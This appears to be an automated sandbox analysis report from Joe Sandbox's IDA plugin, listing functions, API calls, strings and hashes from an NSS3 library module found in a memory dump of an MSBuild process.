Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00C9C
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(?), ref: 6CD00CD1
Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD00CEC
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00CFB
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD00D16
Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CD00D26
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00D35
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CD00D65
Part of subcall function 6CD009D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CD00D70
Part of subcall function 6CD009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD00D90
Part of subcall function 6CD009D0: free.MOZGLUE(00000000), ref: 6CD00D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CC22D3B

Part of subcall function 6CD009D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD00BAB
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00BBA
Part of subcall function 6CD009D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD00D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CC22D54

Part of subcall function 6CD009D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD00BCB
Part of subcall function 6CD009D0: EnterCriticalSection.KERNEL32(?), ref: 6CD00BDE
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(?), ref: 6CD00C16

Strings

slotID = 0x%x, xrefs: 6CC22D02
pPin = 0x%p, xrefs: 6CC22D1D
ulPinLen = %d, xrefs: 6CC22D36
pLabel = 0x%p, xrefs: 6CC22D4F
C_InitToken, xrefs: 6CC22CE7

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 1ee94ba9ce8fbd8e983871a58fcfcda55034ba912a8667d4dce0c0d32b02500a
Instruction ID: 9ae61601260b1fd3f28e5fff1d23cfcf98f9140e70eec8370faad1c2f78062bd
Opcode Fuzzy Hash: 1ee94ba9ce8fbd8e983871a58fcfcda55034ba912a8667d4dce0c0d32b02500a
Instruction Fuzzy Hash: 2621D675600140BFFB00AF58EC5CE4A3BB9EB4236DF884452E60497A32EB34981CCBA1

Function 6CD00EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CBE2357), ref: 6CD00EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CBE2357), ref: 6CD00EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CD00EE6

Part of subcall function 6CD009D0: PR_Now.NSS3 ref: 6CD00A22
Part of subcall function 6CD009D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD00A35
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD00A66
Part of subcall function 6CD009D0: PR_GetCurrentThread.NSS3 ref: 6CD00A70
Part of subcall function 6CD009D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD00A9D
Part of subcall function 6CD009D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD00AC8
Part of subcall function 6CD009D0: PR_vsmprintf.NSS3(?,?), ref: 6CD00AE8
Part of subcall function 6CD009D0: EnterCriticalSection.KERNEL32(?), ref: 6CD00B19
Part of subcall function 6CD009D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD00B48
Part of subcall function 6CD009D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD00C76
Part of subcall function 6CD009D0: PR_LogFlush.NSS3 ref: 6CD00C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CD00EFA

Part of subcall function 6CBEAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CBEAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD00F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CD00ED9, 6CD00EE5, 6CD00F06, 6CD00F0B
Aborting, xrefs: 6CD00EB3

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 3c2fc61aa97b38338669871222f8afacbaa272c2226bba43773fe158a823e499
Instruction ID: 66758de433482c24379cc9961d303def42ad12488b11614619c72c4abc42e48c
Opcode Fuzzy Hash: 3c2fc61aa97b38338669871222f8afacbaa272c2226bba43773fe158a823e499
Instruction Fuzzy Hash: D4F03CB59001187BEA017F649C4AC9B3E2DDF86668F048424FF0956612DB76E9189AF2

Function 6CC64DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CC64DCB

Part of subcall function 6CC50FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
Part of subcall function 6CC50FF0: PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016
Part of subcall function 6CC50FF0: PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CC64DE1

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CC64DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC64E59

Part of subcall function 6CC4FAB0: free.MOZGLUE(?,-00000001,?,?,6CBEF673,00000000,00000000), ref: 6CC4FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD2300C,00000000), ref: 6CC64EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CC64EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CC64F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC6521A

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 0baa4078258767296369f93493c25015f1caf332ef7b0f9ded70a1c894fd85a0
Instruction ID: 273e3ab373be062ee0ee4f2be7c2624b4eba8c2dd2208e9c67fda2932244bf11
Opcode Fuzzy Hash: 0baa4078258767296369f93493c25015f1caf332ef7b0f9ded70a1c894fd85a0
Instruction Fuzzy Hash: 0AF1CD71E00209CFDB04CF56D9907AEB7B2BF45318F258129E915ABB81E775E982CF90

Function 6CC60C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CC62C2A), ref: 6CC60C81

Part of subcall function 6CC4BE30: SECOID_FindOID_Util.NSS3(6CC0311B,00000000,?,6CC0311B,?), ref: 6CC4BE44

Part of subcall function 6CC38500: SECOID_GetAlgorithmTag_Util.NSS3(6CC395DC,00000000,00000000,00000000,?,6CC395DC,00000000,00000000,?,6CC17F4A,00000000,?,00000000,00000000), ref: 6CC38517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC60CC4

Part of subcall function 6CC4FAB0: free.MOZGLUE(?,-00000001,?,?,6CBEF673,00000000,00000000), ref: 6CC4FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC60CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CC60D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CC60D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CC60D7D
free.MOZGLUE(00000000), ref: 6CC60DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC60DC1
free.MOZGLUE(00000000), ref: 6CC60DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC60E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC60E0F

Part of subcall function 6CC395C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CC17F4A,00000000,?,00000000,00000000), ref: 6CC395E0
Part of subcall function 6CC395C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CC17F4A,00000000,?,00000000,00000000), ref: 6CC395F5
Part of subcall function 6CC395C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CC39609
Part of subcall function 6CC395C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC3961D
Part of subcall function 6CC395C0: PK11_GetInternalSlot.NSS3 ref: 6CC3970B
Part of subcall function 6CC395C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CC39756
Part of subcall function 6CC395C0: PK11_GetIVLength.NSS3(?), ref: 6CC39767
Part of subcall function 6CC395C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CC3977E
Part of subcall function 6CC395C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC3978E

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: 2942ede62fb19abd8b7f3c726681655aeff54139bbcef8587098960fc89f20a3
Instruction ID: a36754139678410d8c1a5cb1631e4410ba92bf84ae4578bc4701d413cc12bcc6
Opcode Fuzzy Hash: 2942ede62fb19abd8b7f3c726681655aeff54139bbcef8587098960fc89f20a3
Instruction Fuzzy Hash: B241D5B1D00245ABEB009F66DD81BAF7A78EF0030CF104568E91967B41F735EA54CBE6

Function 6CBF4FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CD40148,?,6CC06FEC), ref: 6CBF502A
PR_NewLock.NSS3(00000001,00000000,6CD40148,?,6CC06FEC), ref: 6CBF5034
PL_NewHashTable.NSS3(00000000,6CC4FE80,6CC4FD30,6CC9C350,00000000,00000000,00000001,00000000,6CD40148,?,6CC06FEC), ref: 6CBF5055
PL_NewHashTable.NSS3(00000000,6CC4FE80,6CC4FD30,6CC9C350,00000000,00000000,?,00000001,00000000,6CD40148,?,6CC06FEC), ref: 6CBF506D

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 927e0f8b4f23c111a5ac68ba8204b3ebe3c588dfd4136ccc27e145ed970ee4e1
Instruction ID: 2682c79ee98863e4c067d77f63e42dd2ebee17ab5a6a899b361912e9f4f8cadf
Opcode Fuzzy Hash: 927e0f8b4f23c111a5ac68ba8204b3ebe3c588dfd4136ccc27e145ed970ee4e1
Instruction Fuzzy Hash: 5931D2B2A012509BFB109B65884CF4B3ABCEB1335DF858126EB2583740E774950DCBE6

Function 6CB92E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB92F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CB92FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CB93005
memcpy.VCRUNTIME140(?,?,?), ref: 6CB930EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CB93131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB93178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB93022, 6CB93156, 6CB93162, 6CB9318A, 6CB93196, 6CB931A2, 6CB931AE, 6CB931BA, 6CB931C6
database corruption, xrefs: 6CB9316C
%s at line %d of [%.10s], xrefs: 6CB93171

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 0177df92da4d51200e98cdd91ed470e6cec69bef634988a39c60482b04c2c9b4
Instruction ID: a7636172859db98e349f3586e2a32a19dea7857a3d6c95417d2838e20acaed5f
Opcode Fuzzy Hash: 0177df92da4d51200e98cdd91ed470e6cec69bef634988a39c60482b04c2c9b4
Instruction Fuzzy Hash: D2B1AE70E052699BDB08CF9DC884AEEB7B1FF4A304F144039E849B7B51D3759885CBA5

Function 6CBF0F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CBF0F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CBF0F84

Part of subcall function 6CC4B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD218D0,?), ref: 6CC4B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CC0F59B,6CD1890C,?), ref: 6CBF0FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CBF0FC1

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CBF0FDB
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CBF0FEF
PL_FreeArenaPool.NSS3(?), ref: 6CBF1001
PL_FinishArenaPool.NSS3(?), ref: 6CBF1009

Strings

security, xrefs: 6CBF0F5C

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 4dd00facae5852f4cc29a28cdf9eccb1566eb1787d924d484a0f1cb853013cae
Instruction ID: 275b1d7f61d7f0a0bfdf223c7fcf1d8d78c4826264b6714b2817d36cce5fb71c
Opcode Fuzzy Hash: 4dd00facae5852f4cc29a28cdf9eccb1566eb1787d924d484a0f1cb853013cae
Instruction Fuzzy Hash: D32106B1904244ABEB109F34EC80AAEB7B8EF4425DF048518FC1896B11F731D52ACBD2

Function 6CBF6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CBF7D8F,6CBF7D8F,?,?), ref: 6CBF6DC8

Part of subcall function 6CC4FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CC4FE08
Part of subcall function 6CC4FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CC4FE1D
Part of subcall function 6CC4FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CC4FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CBF7D8F,?,?), ref: 6CBF6DD5

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD18FA0,00000000,?,?,?,?,6CBF7D8F,?,?), ref: 6CBF6DF7

Part of subcall function 6CC4B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD218D0,?), ref: 6CC4B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CBF6E35

Part of subcall function 6CC4FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CC4FE29
Part of subcall function 6CC4FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CC4FE3D
Part of subcall function 6CC4FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CC4FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CBF6E4C

Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD18FE0,00000000), ref: 6CBF6E82

Part of subcall function 6CBF6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CBFB21D,00000000,00000000,6CBFB219,?,6CBF6BFB,00000000,?,00000000,00000000,?,?,?,6CBFB21D), ref: 6CBF6B01
Part of subcall function 6CBF6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CBF6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CBF6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CBF6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD18FE0,00000000), ref: 6CBF6F6B
PR_SetError.NSS3(FFFFE005,00000000,6CBF7D8F,?,?), ref: 6CBF6FE1

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: f13bc9473c48cec0d8876e896f82f82cd85cc3c1b033b28d13ada03c1f09f51f
Instruction ID: 6d861ddbd94dfd0dbc73e0e5ca91dee68d65589177380ac221d8e5bd80d5e88c
Opcode Fuzzy Hash: f13bc9473c48cec0d8876e896f82f82cd85cc3c1b033b28d13ada03c1f09f51f
Instruction Fuzzy Hash: 61717F71D106869BEB00CF25CD40BAABBA4FF95308F154269EC18D7B11F770E999CB91

Function 6CC30FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC31057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC31085
PK11_GetAllTokens.NSS3 ref: 6CC310B1
free.MOZGLUE(?), ref: 6CC31107
PR_SetError.NSS3(00000000,00000000), ref: 6CC31172
free.MOZGLUE(?), ref: 6CC31182
free.MOZGLUE(?), ref: 6CC311A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CC311C5

Part of subcall function 6CC352C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CC0EAC5,00000001), ref: 6CC352DF
Part of subcall function 6CC352C0: EnterCriticalSection.KERNEL32(?), ref: 6CC352F3
Part of subcall function 6CC352C0: PR_Unlock.NSS3(?), ref: 6CC35358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CC311D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CC311F3

Memory Dump Source

Source File: 00000002.00000002.2787980192.000000006CB71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000002.00000002.2787964068.000000006CB70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788415351.000000006CD0F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788505145.000000006CD4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788523926.000000006CD4F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788546856.000000006CD50000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2788562488.000000006CD55000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cb70000_MSBuild.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 2f2c64bb076b36d9ccc919c2202eae0375e6858b043929b686b440bb5a4f7c32
Instruction ID: 5173acb69190c55022cb603749b680adc3e97c23975f837712d1df268ad87104
Opcode Fuzzy Hash: 2f2c64bb076b36d9ccc919c2202eae0375e6858b043929b686b440bb5a4f7c32
Instruction Fuzzy Hash: 466180B0E003559FEB00DF69E881BAABBB4BF44348F145128E91DAB741FB31E955CB91

